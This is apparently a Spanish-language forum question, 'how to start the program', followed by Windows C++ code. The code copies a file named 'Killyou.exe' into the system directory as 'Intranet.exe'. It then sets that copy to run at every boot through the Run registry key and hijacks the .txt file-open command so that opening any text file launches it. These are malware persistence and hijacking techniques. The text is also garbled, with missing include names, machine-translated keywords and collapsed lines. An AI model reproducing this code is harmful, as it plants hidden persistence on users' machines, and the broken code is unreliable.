¿Cómo iniciar el programa?
#include
#include
#include
# ifdef MAX_PATH
#undef MAX_ PATH
#define MAX_PATH 100
#endif
int main()
{
TCHAR TempPath[MAX_PATH];
CString temp;
::.GetSystemDirectory(TempPath,MAX_PATH);
temp =TempPath;
temp=temp+_T("\\Intranet.exe");
int len=temp.GetLength();
LPBYTE lpb =nuevo BYTE[len];
for(int j=0;j { lpb[j]=temp[j ]; } lpb[j]=0; if(! CopyFile("Killyou.exe",temp,FALSE)) { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_ MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL,/*==1=GetLasError()* / GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_ DEFAULT),(LPTSTR)&lpMsgBuf,0,NULL); MessageBox(NULL,(LPTSTR)&lpMsgBuf, "Error",MB_OK); p> p> LocalFree(lpMsgBuf); } HKEY hKey; LPCTSTR data_Set="Software\\\\Microsoft\Windows\ \\ \CurrentVersion\\Run"; ::RegOpenKeyEx(HKEY_LOCAL_ MACHINE,data_Set,0,KEY_WRITE,&hKey); ::RegSetValueEx(hKey,_T("control remoto" ), NULL,REG_SZ,lpb,len); ::RegCloseKey( hKey); //==2=data_Set="txtfile\shell\open\command" data_Set="txtfile\shell\open\command"; // "." ::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey); ::RegSetValueEx(hKey,NULL,NULL,REG_ EXPAND_SZ,lpb,len); ::RegCloseKey(hKey); //==3=dale te []lpb; eliminar []lpb; devolver 0; }